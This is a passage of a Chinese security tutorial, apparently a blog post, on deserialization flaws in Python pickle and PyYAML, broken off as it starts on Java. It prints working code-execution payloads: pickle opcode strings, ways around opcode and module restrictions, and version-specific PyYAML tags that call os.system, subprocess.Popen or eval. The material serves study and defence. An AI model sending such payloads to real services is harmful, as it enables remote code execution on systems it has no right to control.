6\u6808\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20append\u5230\u7b2c\u4e8c\u4e2a\u5143\u7d20(\u5217\u8868)\u4e2d<\/td>\n<td>a<\/td>\n<td>\u6808\u9876\u5143\u7d20\u51fa\u6808\uff0c\u7b2c\u4e8c\u4e2a\u5143\u7d20\uff08\u5217\u8868\uff09\u88ab\u66f4\u65b0<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<tr>\n<td>e<\/td>\n<td>\u5bfb\u627e\u6808\u4e2d\u7684\u4e0a\u4e00\u4e2aMARK\uff0c\u7ec4\u5408\u4e4b\u95f4\u7684\u6570\u636e\u5e76extends\u5230\u8be5MARK\u4e4b\u524d\u7684\u4e00\u4e2a\u5143\u7d20\uff08\u5fc5\u987b\u4e3a\u5217\u8868\uff09\u4e2d<\/td>\n<td>e<\/td>\n<td>MARK\u6807\u8bb0\u4ee5\u53ca\u88ab\u7ec4\u5408\u7684\u6570\u636e\u51fa\u6808\uff0c\u5217\u8868\u88ab\u66f4\u65b0<\/td>\n<td>\u65e0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u6b64\u5916\uff0c <code>TRUE<\/code>\u53ef\u4ee5\u7528 <code>I<\/code> \u8868\u793a\uff1a<code>b&#039;I01\\n&#039;<\/code> \uff1b <code>FALSE<\/code>\u4e5f\u53ef\u4ee5\u7528<code>I<\/code>\u8868\u793a\uff1a<code>b&#039;I00\\n&#039;<\/code><br \/>\n\u4e0e\u51fd\u6570\u6267\u884c\u76f8\u5173\u7684opcode\u6709\u4e09\u4e2a\uff1a <code>R<\/code> \u3001 <code>i<\/code> \u3001 <code>o<\/code> \uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u4ece\u4e09\u4e2a\u65b9\u5411\u8fdb\u884c\u6784\u9020\uff1a<\/p>\n<pre><code class=\"language-python\"># S\nb&#039;&#039;&#039;cos\nsystem\n(S&#039;whoami&#039;\ntR.&#039;&#039;&#039;\n# i\nb&#039;&#039;&#039;(S&#039;whoami&#039;\nios\nsystem\n.&#039;&#039;&#039;\n# o\nb&#039;&#039;&#039;(cos\nsystem\nS&#039;whoami&#039;\no.&#039;&#039;&#039;<\/code><\/pre>\n<h6>pker<\/h6>\n<p>\u624b\u6495opcode\u591a\u5c11\u662f\u9ebb\u70e6\u7684\uff0c<del>\u5f53\u811a\u672c\u5a03\u5a03\u5f53\u7136\u662f\u6700\u723d\u7684<\/del><br \/>\n<a href=\"https:\/\/github.com\/eddieivan01\/pker\" target=\"_blank\"  rel=\"nofollow\" >\u5de5\u5177\u6e90\u7801\u4e0b\u8f7d\u5730\u5740<\/a><\/p>\n<pre><code class=\"language-python\">\u4ee5\u4e0bmodule\u90fd\u53ef\u4ee5\u662f\u5305\u542b`.`\u7684\u5b50module\n\u8c03\u7528\u51fd\u6570\u65f6\uff0c\u6ce8\u610f\u4f20\u5165\u7684\u53c2\u6570\u7c7b\u578b\u8981\u548c\u793a\u4f8b\u4e00\u81f4\n\u5bf9\u5e94\u7684opcode\u4f1a\u88ab\u751f\u6210\uff0c\u4f46\u5e76\u4e0d\u4e0epker\u4ee3\u7801\u76f8\u4e92\u7b49\u4ef7\n\nGLOBAL\n\u5bf9\u5e94opcode\uff1ab&#039;c&#039;\n\u83b7\u53d6module\u4e0b\u7684\u4e00\u4e2a\u5168\u5c40\u5bf9\u8c61\uff08\u6ca1\u6709import\u7684\u4e5f\u53ef\u4ee5\uff0c\u6bd4\u5982\u4e0b\u9762\u7684os\uff09\uff1a\nGLOBAL(&#039;os&#039;, &#039;system&#039;)\n\u8f93\u5165\uff1amodule,instance(callable\u3001module\u90fd\u662finstance)  \n\nINST\n\u5bf9\u5e94opcode\uff1ab&#039;i&#039;\n\u5efa\u7acb\u5e76\u5165\u6808\u4e00\u4e2a\u5bf9\u8c61\uff08\u53ef\u4ee5\u6267\u884c\u4e00\u4e2a\u51fd\u6570\uff09\uff1a\nINST(&#039;os&#039;, &#039;system&#039;, &#039;ls&#039;)  \n\u8f93\u5165\uff1amodule,callable,para \n\nOBJ\n\u5bf9\u5e94opcode\uff1ab&#039;o&#039;\n\u5efa\u7acb\u5e76\u5165\u6808\u4e00\u4e2a\u5bf9\u8c61\uff08\u4f20\u5165\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3acallable\uff0c\u53ef\u4ee5\u6267\u884c\u4e00\u4e2a\u51fd\u6570\uff09\uff09\uff1a\nOBJ(GLOBAL(&#039;os&#039;, &#039;system&#039;), &#039;ls&#039;) \n\u8f93\u5165\uff1acallable,para\n\nxxx(xx,...)\n\u5bf9\u5e94opcode\uff1ab&#039;R&#039;\n\u4f7f\u7528\u53c2\u6570xx\u8c03\u7528\u51fd\u6570xxx\uff08\u5148\u5c06\u51fd\u6570\u5165\u6808\uff0c\u518d\u5c06\u53c2\u6570\u5165\u6808\u5e76\u8c03\u7528\uff09\n\nli[0]=321\n\u6216\nglobals_dic[&#039;local_var&#039;]=&#039;hello&#039;\n\u5bf9\u5e94opcode\uff1ab&#039;s&#039;\n\u66f4\u65b0\u5217\u8868\u6216\u5b57\u5178\u7684\u67d0\u9879\u7684\u503c\n\nxx.attr=123\n\u5bf9\u5e94opcode\uff1ab&#039;b&#039;\n\u5bf9xx\u5bf9\u8c61\u8fdb\u884c\u5c5e\u6027\u8bbe\u7f6e\n\nreturn\n\u5bf9\u5e94opcode\uff1ab&#039;0&#039;\n\u51fa\u6808\uff08\u4f5c\u4e3apickle.loads\u51fd\u6570\u7684\u8fd4\u56de\u503c\uff09\uff1a\nreturn xxx # \u6ce8\u610f\uff0c\u4e00\u6b21\u53ea\u80fd\u8fd4\u56de\u4e00\u4e2a\u5bf9\u8c61\u6216\u4e0d\u8fd4\u56de\u5bf9\u8c61\uff08\u5c31\u7b97\u7528\u9017\u53f7\u9694\u5f00\uff0c\u6700\u540e\u4e5f\u53ea\u8fd4\u56de\u4e00\u4e2a\u5143\u7ec4\uff09\n\n\u51fd\u6570\u6267\u884c\n# R\ns=&#039;whoami&#039;\nsystem = GLOBAL(&#039;os&#039;, &#039;system&#039;)\nsystem(s) # `b&#039;R&#039;`\u8c03\u7528\nreturn\n# i\nINST(&#039;os&#039;, &#039;system&#039;, &#039;whoami&#039;)\n#c+o\nOBJ(GLOBAL(&#039;os&#039;, &#039;system&#039;), &#039;whoami&#039;)\n#\u591a\u53c2\u6570\nINST(&#039;[module]&#039;, &#039;[callable]&#039;[, par0,par1...])\nOBJ(GLOBAL(&#039;[module]&#039;, &#039;[callable]&#039;)[, par0,par1...])\n\n\u4fee\u6539\u5168\u5c40\u53d8\u91cf\nadmin = GLOBAL(&#039;__main__&#039;, &#039;admin&#039;)\nadmin.name = &quot;admin&quot;\nadmin.password = &quot;123456&quot;\nUser = INST(&#039;__main__&#039;, &#039;User&#039;,&#039;admin&#039;,&#039;123456&#039;)\nreturn User\n\n#\u62fc\u63a5opcode\uff1a\u5c06\u7b2c\u4e00\u4e2apickle\u6d41\u7ed3\u5c3e\u8868\u793a\u7ed3\u675f\u7684.\u53bb\u6389\uff0c\u4e24\u8005\u62fc\u63a5\u8d77\u6765\u5373\u53ef\n#\u5efa\u7acb\u666e\u901a\u7684\u7c7b\u65f6\uff0c\u53ef\u4ee5\u5148pickle.dumps\uff0c\u518d\u62fc\u63a5\u81f3payload\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h6>\u7ed5\u8fc7\u65b9\u5f0f<\/h6>\n<h6>\u7ed5\u8fc7R\u6307\u4ee4\u9650\u5236<\/h6>\n<p>b\u6307\u4ee4\u5728\u6ce8\u91ca\u4e2d\u7684\u63cf\u8ff0\u4e3a\uff1a<code>call __setstate__ or __dict__.update()<\/code> \uff0c\u5373\u6267\u884c<code>__setstate__<\/code>\u6216\u8005\u66f4\u65b0\u6808\u4e0a\u7684\u4e00\u4e2a\u5b57\u5178\u8fdb\u884c\u53d8\u91cf\u8986\u76d6<br \/>\n\u5982\u679c\u4e00\u4e2a\u7c7b\uff0c\u6ca1\u6709\u5b9a\u4e49<code>__setstate__<\/code>\u65b9\u6cd5\uff0c\u4f46\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u901a\u8fc7b\u64cd\u4f5c\u7b26\u7528<code>{&quot;__setstate__&quot;: os.system}<\/code>\u6765\u521d\u59cb\u5316\u7c7b\u7684\u5bf9\u8c61\u3002<\/p>\n<p>\u521d\u59cb\u662f\u6ca1\u6709\u5b9a\u4e49<code>__setstate__<\/code>\uff0c\u6240\u4ee5\u8fd9\u91ccb\u64cd\u4f5c\u7801\u5b9e\u9645\u4e0a\u6267\u884c\u4e86<code>__dict__.update()<\/code>\uff0c\u7ed9\u5bf9\u8c61\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u6076\u610f\u7684<code>__setstate__<\/code>\u65b9\u6cd5\u3002\u628a\u547d\u4ee4\uff08whoami\uff09\u4f5c\u4e3a\u53c2\u6570\uff0c\u518d\u6b21\u6267\u884c<code>BUILD<\/code>\u6307\u4ee4\uff0c\u7531\u4e8e\u6b64\u65f6\u5bf9\u8c61\u5b58\u5728<code>__setstate__<\/code>\u65b9\u6cd5\uff0c<code>state<\/code>\u4e3a<code>whomai<\/code>\uff0c<code>setstate(state)<\/code>\u76f8\u5f53\u4e8e\u6267\u884c<code>os.system(&#039;whoami&#039;)<\/code><\/p>\n<pre><code class=\"language-python\">(c__main__\nAnimal\nS&#039;Casual&#039;\nI18\no}(S&quot;__setstate__&quot; \ncos\nsystem\nubS&quot;whoami&quot;\nb.&#039;&#039;&#039;<\/code><\/pre>\n<h6>\u7ed5\u8fc7c\u6307\u4ee4module\u9650\u5236<\/h6>\n<p>\u5982\u540c\u6a21\u677f\u6ce8\u5165\u5f53\u4e2d\u7684\u547d\u4ee4\u6267\u884c\u4e00\u6837\u901a\u8fc7<code>getattr()<\/code>\u83b7\u53d6\u5bf9\u8c61\u7684\u5c5e\u6027\u503c\uff0c\u6765\u4e00\u6b65\u6b65\u7684\u83b7\u53d6<code>eval<\/code>\u51fd\u6570<\/p>\n<pre><code class=\"language-python\">getattr=GLOBAL(&#039;builtins&#039;,&#039;getattr&#039;)\ndict=GLOBAL(&#039;builtins&#039;,&#039;dict&#039;)\ndict_get=getattr(dict,&#039;get&#039;)\nglo_dic=GLOBAL(&#039;builtins&#039;,&#039;globals&#039;)()\nbuiltins=dict_get(glo_dic,&#039;builtins&#039;)\n\neval=getattr(builtins,&#039;eval&#039;)\neval(&#039;whoami&#039;)\nreturn\n#############################################\nbuiltins.getattr(\nbuiltins.getattr(builtins.dict,&#039;get&#039;)(builtins.golbals(),&#039;builtins&#039;),&#039;eval&#039;)(command)\n#############################################\ncbuiltins\ngetattr\n(cbuiltins\ngetattr\n(cbuiltins\ndict\nS&#039;get&#039;\ntR(cbuiltins\nglobals\n)RS&#039;__builtins__&#039;\ntRS&#039;eval&#039;\ntR(S&#039;__import__(&quot;os&quot;).system(&quot;whoami&quot;)&#039;\ntR.\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h6>\u53c2\u8003\u6587\u7ae0<\/h6>\n<p><a href=\"https:\/\/blog.csdn.net\/weixin_43610673\/article\/details\/124889988\" target=\"_blank\"  rel=\"nofollow\" >python pickle\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/a><br \/>\n<a href=\"https:\/\/xz.aliyun.com\/t\/7436\" target=\"_blank\"  rel=\"nofollow\" >pickle\u53cd\u5e8f\u5217\u5316\u521d\u63a2<\/a><\/p>\n<h5>PyYAML<\/h5>\n<h6>\u6f0f\u6d1e\u539f\u7406<\/h6>\n<p>Yaml\u57fa\u7840\u8bed\u6cd5\u89c4\u5219<\/p>\n<ol>\n<li>\u4e00\u4e2a .yml \u6587\u4ef6\u4e2d\u53ef\u4ee5\u6709\u591a\u4efd\u914d\u7f6e\u6587\u4ef6\uff0c\u7528 \u2014 \u9694\u5f00\u5373\u53ef<\/li>\n<li>\u5bf9\u5927\u5c0f\u5199\u654f\u611f<\/li>\n<li>YAML \u4e2d\u7684\u503c\uff0c\u53ef\u4f7f\u7528 json \u683c\u5f0f\u7684\u6570\u636e<\/li>\n<li>\u4f7f\u7528\u7f29\u8fdb\u8868\u793a\u5c42\u7ea7\u5173\u7cfb<\/li>\n<li>\u7f29\u8fdb\u65f6\u4e0d\u5141\u8bb8\u4f7f\u7528 tab\uff08\\t\uff09\uff0c\u53ea\u5141\u8bb8\u4f7f\u7528\u7a7a\u683c\u3002<\/li>\n<li>\u7f29\u8fdb\u7684\u7a7a\u683c\u6570\u76ee\u4e0d\u91cd\u8981\uff0c\u53ea\u8981\u76f8\u540c\u5c42\u7ea7\u7684\u5143\u7d20\u5de6\u4fa7\u5bf9\u9f50\u5373\u53ef\u3002<\/li>\n<li><code>#<\/code> \u8868\u793a\u6ce8\u91ca\uff0c\u548c Python \u4e00\u6837<\/li>\n<li>!! \u8868\u793a\u5f3a\u5236\u7c7b\u578b\u88c5\u6362<\/li>\n<li>\u53ef\u4ee5\u901a\u8fc7 &amp; \u6765\u5b9a\u4e49\u951a\u70b9\uff0c\u4f7f\u7528 * \u6765\u5f15\u7528\u951a\u70b9\u3002* \u4e5f\u53ef\u4ee5\u548c &lt;&lt; \u914d\u5408\uff0c\u5f15\u7528\u65f6\u4f1a\u81ea\u52a8\u5c55\u5f00\u5bf9\u8c61\uff0c\u7c7b\u4f3c Python \u7684 **dict()<\/li>\n<li>YAML \u652f\u6301\u7684\u6570\u636e\u7ed3\u6784\u6709\u4e09\u79cd<br \/>\n\u5bf9\u8c61\uff1a\u952e\u503c\u5bf9\u7684\u96c6\u5408<br \/>\n\u5217\u8868\uff1a\u4e00\u7ec4\u6309\u6b21\u5e8f\u6392\u5217\u7684\u503c<br \/>\n\u6807\u91cf\uff08scalars\uff09\uff1a\u539f\u5b50\u503c\uff08\u4e0d\u53ef\u518d\u62c6\u5206\uff09\uff0c\u4f8b\u5982 \u6570\u5b57\u3001\u65e5\u671f\u7b49\u7b49<\/li>\n<\/ol>\n<p>\u4ee5\u4e0a\u4e0e\u6f0f\u6d1e\u5f62\u6210\u539f\u56e0\u6700\u76f8\u5173\u7684\u5c31\u662f<code>!!<\/code>\u8fdb\u884c\u7c7b\u578b\u8f6c\u6362\uff0c\u7531\u4e8e<code>YAML<\/code>\u4ec5\u4ec5\u662f\u4e00\u79cd\u683c\u5f0f\u89c4\u8303\uff0c\u6240\u4ee5\u7406\u8bba\u4e0a\u4e00\u4e2a\u652f\u6301<code>YAML<\/code>\u7684\u89e3\u6790\u5668\u53ef\u4ee5\u9009\u62e9\u6027\u652f\u6301<code>YAML<\/code>\u7684\u67d0\u4e9b\u8bed\u6cd5\uff0c\u4e5f\u53ef\u4ee5\u5728<code>YAML<\/code>\u7684\u57fa\u7840\u4e0a\u5229\u7528<code>!!<\/code>\u6765\u6269\u5c55\u989d\u5916\u7684\u89e3\u6790\u80fd\u529b\u3002<code>PyYAML<\/code>\u5728 <code>!!<\/code>\u4e0a\u505a\u7684\u9b54\u6539\uff0c\u53ef\u4ee5\u7406\u89e3\u4e3a<code>find_function(&quot;x&quot;)(x)<\/code>\uff1a<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b2e9da814c69d4a5dada6571d4a435f6.png#pic_center\" alt=\"PyYAML!!\u9b54\u6539\" \/>\u4ece\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c\u4e00\u5171\u67095\u4e2a\u53ef\u4ee5\u5f15\u5165\u65b0\u6a21\u5757\u7684\u51fd\u6570\uff0c\u8fd9\u5c31\u662f\u6f0f\u6d1e\u7684\u672c\u8d28\u6210\u56e0\uff1a<\/p>\n<pre><code>python\/name\npython\/module\npython\/object\npython\/object\/new\npython\/object\/apply<\/code><\/pre>\n<h6>\u653b\u51fb\u65b9\u5f0f<\/h6>\n<h6>\u7248\u672c&lt; 5.1<\/h6>\n<p>\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li><code>yaml.load<\/code>\u6216\u8005<code>yaml.load_all<\/code>\u4f7f\u7528\u7684\u52a0\u8f7d\u5668\u91c7\u7528\u9ed8\u8ba4\u52a0\u8f7d\u5668 <code>Constructor<\/code><\/li>\n<\/ul>\n<pre><code class=\"language-python\">#\u4ee5\u4e0b\u7684\u5229\u7528\u65b9\u5f0f\u90fd\u662f\u7b49\u4ef7\u7684\uff0c\u4e0d\u540c\u5199\u6cd5\u53ef\u7ed5\u8fc7\u90e8\u5206\u8fc7\u6ee4\uff0c\u53ef\u7528python\/object\/new\u66ff\u4ee3\nyaml.load(&#039;exp: !!python\/object\/apply:os.system [&quot;whoami&quot;]&#039;)\n\nyaml.load(&quot;exp: !!python\/object\/apply:os.system [&#039;whoami&#039;]&quot;)\n\n# \u5f15\u53f7\u5f53\u7136\u4e0d\u662f\u5fc5\u987b\u7684\nyaml.load(&quot;exp: !!python\/object\/apply:os.system [whoami]&quot;)\n\nyaml.load(&quot;&quot;&quot;\nexp: !!python\/object\/apply:os.system\n- whoami\n&quot;&quot;&quot;)\n\nyaml.load(&quot;&quot;&quot;\nexp: !!python\/object\/apply:os.system\n  args: [&quot;whoami&quot;]\n&quot;&quot;&quot;)\n\n# command \u662f os.system \u7684\u53c2\u6570\u540d\nyaml.load(&quot;&quot;&quot;\nexp: !!python\/object\/apply:os.system\n  kwds: {&quot;command&quot;: &quot;whoami&quot;}\n&quot;&quot;&quot;)\n\nyaml.load(&quot;!!python\/object\/apply:os.system [whoami]: exp&quot;)\n\nyaml.load(&quot;!!python\/object\/apply:os.system [whoami]&quot;)\n\nyaml.load(&quot;&quot;&quot;\n!!python\/object\/apply:os.system\n- whoami\n&quot;&quot;&quot;)\n# \/python\/object\u53ea\u80fd\u6267\u884c\u65e0\u53c2\u6570\u51fd\u6570\nyaml.load(&quot;&quot;&quot;\n!!python\/object:builtins.copyright {&quot;a&quot;: 1}\n&quot;&quot;&quot;)\n# \/python\/module\u76f8\u5f53\u4e8eimport\u914d\u5408\u6587\u4ef6\u4e0a\u4f20\u4f7f\u7528\n# \u6bd4\u5982\u4e0a\u4f20\u4e00\u4e2aheader.py\u5230uploads\uff0c\u6587\u4ef6\u5185\u5bb9\u4e3a import os  os.system(&#039;command&#039;)\nyaml.load(&#039;!!python\/module:uploads.header&#039;)\n\n#python\/name\u4e0epython\/module\u76f8\u4f3c\uff0c\u4f46\u662f\u53ef\u4ee5\u7528\u6765\u627e\u6a21\u5757\u4e0b\u7684\u5c5e\u6027\u65b9\u6cd5\uff0c\u6bd4\u5982\u627etoken\nyaml.load(&#039;!!python\/name:__main__.TOKEN&#039;)\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h6>\u7248\u672c\u5927\u4e8e\u7b49\u4e8e5.1<\/h6>\n<p>####### \u5e38\u89c4\u5229\u7528\u65b9\u5f0f<br \/>\n\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n<ul>\n<li>\u4f7f\u7528\u7684\u6784\u9020\u5668\u662f<code>UnsafeConstructor<\/code>\u6216\u8005<code>Constructor<\/code>\n<ul>\n<li>\u5bf9\u5e94\u7684\u9876\u5c42\u8c03\u7528\u65b9\u5f0f\u4e3a<\/li>\n<li>yaml.unsafe_load(exp)<\/li>\n<li>yaml.unsafe_load_all(exp)<\/li>\n<li>yaml.load(exp, Loader=UnsafeLoader)<\/li>\n<li>yaml.load(exp, Loader=Loader)<\/li>\n<li>yaml.load_all(exp, Loader=UnsafeLoader)<\/li>\n<li>yaml.load_all(exp, Loader=Loader)<\/li>\n<li>\u5e38\u89c4\u5229\u7528\u65b9\u5f0f\u548c5.1\u7248\u672c\u4e4b\u524d\u7684\u4e00\u6837<br \/>\n####### \u7a81\u7834FullConstructor<br \/>\n\u5229\u7528\u73af\u5883\uff1a<\/li>\n<\/ul>\n<\/li>\n<li>\u4f7f\u7528\u7684\u6784\u9020\u5668\u662f<code>FullConstructor<\/code><\/li>\n<li>\u5982\u679c\u5e38\u89c4\u5229\u7528\u5931\u8d25\u518d\u4f7f\u7528\u8fd9\u79cd<\/li>\n<\/ul>\n<p><code>FullConstructor<\/code>\u4e2d\uff0c\u9650\u5236\u4e86\u53ea\u5141\u8bb8\u52a0\u8f7d<code>sys.modules<\/code>\u4e2d\u7684\u6a21\u5757\uff1a<\/p>\n<ul>\n<li>\u53ea\u5f15\u7528\uff0c\u4e0d\u6267\u884c\u7684\u9650\u5236\uff1a\n<ul>\n<li>\u52a0\u8f7d\u8fdb\u6765\u7684<code>module<\/code>\u5fc5\u987b\u662f\u4f4d\u4e8e<code>sys.modules<\/code>\u4e2d<\/li>\n<\/ul>\n<\/li>\n<li>\u5f15\u7528\u5e76\u6267\u884c\uff1a\n<ul>\n<li>\u52a0\u8f7d\u8fdb\u6765\u7684<code>module<\/code>\u5fc5\u987b\u662f\u4f4d\u4e8e<code>sys.modules<\/code>\u4e2d<\/li>\n<li><code>FullConstructor<\/code>\u4e0b\uff0c<code>unsafe = False<\/code>\uff0c\u52a0\u8f7d\u8fdb\u6765\u7684<code>module.name<\/code>\u5fc5\u987b\u662f\u4e00\u4e2a\u7c7b<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u6070\u597d\u6709\u8fd9\u4e48\u4e00\u4e2a\u7c7b<code>subprocess.Popen<\/code>\uff0c\u521a\u597d\u5728<code>FullConstructor<\/code>\u7684<code>sys.modules<\/code>\u4e2d\uff0c\u540c\u65f6\u8fd8\u6709\u4e00\u4e2a\u7c7b<code>popen<\/code>\u53ef\u4ee5\u6267\u884c\u547d\u4ee4<\/p>\n<pre><code class=\"language-python\">yaml.load(&quot;&quot;&quot;\n!!python\/object\/apply:subprocess.Popen\n  - whoami\n&quot;&quot;&quot;)<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709<code>map<\/code>\u53ef\u4ee5\u5f15\u53d1\u51fd\u6570\u6267\u884c\uff1a<\/p>\n<pre><code class=\"language-python\"># tuple\u53ef\u66ff\u6362\u4e3afrozenset\u6216\u8005bytes\n# !!python\/name\u5f15\u5165\u51fd\u6570\nyaml.load(&quot;&quot;&quot;\n!!python\/object\/new:tuple\n- !!python\/object\/new:map\n  - !!python\/name:eval\n  - [&quot;__import__(&#039;os&#039;).system(&#039;whoami&#039;)&quot;]\n&quot;&quot;&quot;)<\/code><\/pre>\n<p><code>python\/object\/new<\/code>\u548c<code>python\/object\/appliy<\/code>\u90fd\u8c03\u7528\u4e86<code>construct_python_object_apply<\/code>\u3002\u5728<code>construct_python_object_apply<\/code>\u4e2d\uff0c\u4e0d\u4ec5\u8fdb\u884c\u4e86\u5b9e\u4f8b\u5316\uff0c\u5982\u679c\u6709<code>listitems<\/code>\u8fd8\u4f1a\u8c03\u7528\u5b9e\u4f8b\u7684<code>extend<\/code>\u65b9\u6cd5<\/p>\n<pre><code class=\"language-python\">yaml.full_load(&quot;&quot;&quot;\n!!python\/object\/new:type\nargs:\n  - exp\n  - !!python\/tuple []\n  - {&quot;extend&quot;: !!python\/name:exec }\nlistitems: &quot;__import__(&#039;os&#039;).system(&#039;whoami&#039;)&quot;\n&quot;&quot;&quot;)<\/code><\/pre>\n<p><code>construct_python_object_apply<\/code>\u4e2d\u8fd8\u5bf9\u5b9e\u4f8b\u8fdb\u884c<code>setstate<\/code>\uff0c\u5373\u8c03\u7528\u4e86<code>__setstate__<\/code><\/p>\n<pre><code class=\"language-python\">yaml.full_load(&quot;&quot;&quot;\n!!python\/object\/new:type\nargs:\n  - exp\n  - !!python\/tuple []\n  - {&quot;__setstate__&quot;: !!python\/name:eval }\nstate: &quot;__import__(&#039;os&#039;).system(&#039;whoami&#039;)&quot;\n&quot;&quot;&quot;)<\/code><\/pre>\n<p>\u7531\u4e8e<code>str<\/code>\u6ca1\u6709<code>__dict__<\/code>\u65b9\u6cd5\uff0c\u6240\u4ee5\u5728 PyYAML \u89e3\u6790\u65f6\u4f1a\u89e6\u53d1\u4e0b\u9762\u8c03\u7528\u3002\u8fd9\u91cc\u7684<code>type<\/code>\u4e5f\u53ef\u4ee5\u7528<code>staticmethod<\/code>\u6765\u66ff\u6362\u3002\u4f8b\u5982\uff0c\u5728<code>set_python_instance_state<\/code>\u4e2d\uff0c\u8fd8\u6709\u4e2a\u8c03\u7528<code>slotstate.update<\/code>\u7684\u903b\u8f91\uff0c\u90a3\u4e48\u53ea\u8981\u5c06<code>slotstate.update<\/code>\u7f6e\u4e3a<code>eval<\/code>\uff0c<code>state<\/code>\u5c31\u662fRCE\u7684 payload<\/p>\n<pre><code class=\"language-python\">yaml.full_load(&quot;&quot;&quot;\n!!python\/object\/new:str\n    args: []\n    # \u901a\u8fc7 state \u89e6\u53d1\u8c03\u7528\n    state: !!python\/tuple\n      - &quot;__import__(&#039;os&#039;).system(&#039;whoami&#039;)&quot;\n      # \u4e0b\u9762\u6784\u9020 exp\n      - !!python\/object\/new:staticmethod\n        args: []\n        state: \n          update: !!python\/name:eval\n          items: !!python\/name:list  # \u4e0d\u8bbe\u7f6e\u8fd9\u4e2a\u4e5f\u53ef\u4ee5\uff0c\u4f1a\u62a5\u9519\u4f46\u4e5f\u5df2\u7ecf\u6267\u884c\u6210\u529f\n&quot;&quot;&quot;)<\/code><\/pre>\n<h6>\u7248\u672c\u5927\u4e8e\u7b49\u4e8e5.2<\/h6>\n<p><code>FullConstructor<\/code>\u73b0\u5728\u53ea\u989d\u5916\u652f\u6301<code>!!python\/name<\/code>\u3001<code>!!python\/object<\/code>\u3001<code>!!python\/object\/new<\/code>\u548c<code>!!python\/module<\/code>\uff0c<code>!!python\/object\/apply<\/code>\u65e0\u6cd5\u4f7f\u7528<\/p>\n<h6>\u7248\u672c\u5927\u4e8e\u7b49\u4e8e5.3.1<\/h6>\n<p>5.3.1 \u5f15\u5165\u4e86\u4e00\u4e2a\u65b0\u7684\u8fc7\u6ee4\u673a\u5236\uff0c\u672c\u8d28\u4e0a\u5c31\u662f\u5b9e\u73b0\u4e00\u4e2a\u5c5e\u6027\u540d\u9ed1\u540d\u5355\uff08\u6b63\u5219\uff09\uff0c\u5339\u914d\u5230\u5c31\u62a5\u9519\u3002<br \/>\n<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/adf2f6e24267b58778c3992b214774b4.png#pic_center\" alt=\"\u65b0\u589e\u8fc7\u6ee4\u673a\u5236\" \/><\/p>\n<h6>\u7248\u672c\u5927\u4e8e\u7b49\u4e8e5.4<\/h6>\n<p><code>FullConstructor<\/code>\u73b0\u5728\u53ea\u989d\u5916\u652f\u6301<code>!!python\/name<\/code>\uff0c<code>!!python\/object<\/code>\u3001<code>!!python\/object\/new<\/code>\u548c<code>!!python\/module<\/code>\uff0c<code>!!python\/object\/apply<\/code>\u90fd\u65e0\u6cd5\u4f7f\u7528<\/p>\n<h6>\u7248\u672c\u5927\u4e8e\u7b49\u4e8e6.0<\/h6>\n<p>\u73b0\u5728\u5728\u4f7f\u7528<code>yaml.load<\/code>\u65f6\uff0c\u7528\u6237\u5fc5\u987b\u6307\u5b9a<code>Loader<\/code><\/p>\n<h6>\u53c2\u8003\u6587\u7ae0<\/h6>\n<p><a href=\"https:\/\/www.tr0y.wang\/2022\/06\/06\/SecMap-unserialize-pyyaml\/\" target=\"_blank\"  rel=\"nofollow\" >SecMap - \u53cd\u5e8f\u5217\u5316\uff08PyYAML\uff09<\/a><\/p>\n<h5>Java\u53cd\u5e8f\u5217\u5316<\/h5>\n<h6>\u6f0f\u6d1e\u539f\u7406<\/h6>\n<p>\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\uff0c\u4f1a\u8c03\u7528readObject\u5bf9\u4e8e\u8bfb\u53d6\u5e8f\u5217\u5316\u6570\u636e\uff0c\u6574\u4e2a\u5e95\u5c42\u8c03\u7528\u94fe\uff1a<\/p>\n<pre><code>readObject\n-&gt;readObject0\n-&gt;readOrdinaryObject\n-&gt;readSerialData\n-&gt;slotDesc.invokeReadObject\n-&gt;readObjectMethod.invoke<\/code><\/pre>\n<p>\u800c<code>readObjectMethod<\/code>\u662f\u5728<code>ObjectStreamClass<\/code>\u7684\u6784\u5efa\u51fd\u6570\u91cc\u9762\u521d\u59cb\u5316\u7684\uff0c\u90a3\u4e48\u5b9e\u73b0\u81ea\u5b9a\u4e49\u7684\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u65b9\u5f0f\u5c31\u53ea\u9700\u8981\u5728\u5bf9\u8c61\u4e2d\u589e\u52a0\u4e00\u4e2a\u540d\u4e3a<code>readObject<\/code>\u3001\u53c2\u6570\u662f<code>java.io.ObjectInputStream<\/code>\u7684\u79c1\u6709\u65b9\u6cd5\u3002<br \/>\n\u56e0\u6b64\u7b80\u800c\u8a00\u4e4b\uff0c\u9020\u6210\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u539f\u56e0\u5c31\u662f<code>readObjectMethod<\/code>\u88ab\u91cd\u5199\u4e86<\/p>\n<h6>\u771f\u5b9e\u73af\u5883\u91cc\u9762\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h6>\n<p>\u4ee5<code>commons-collections 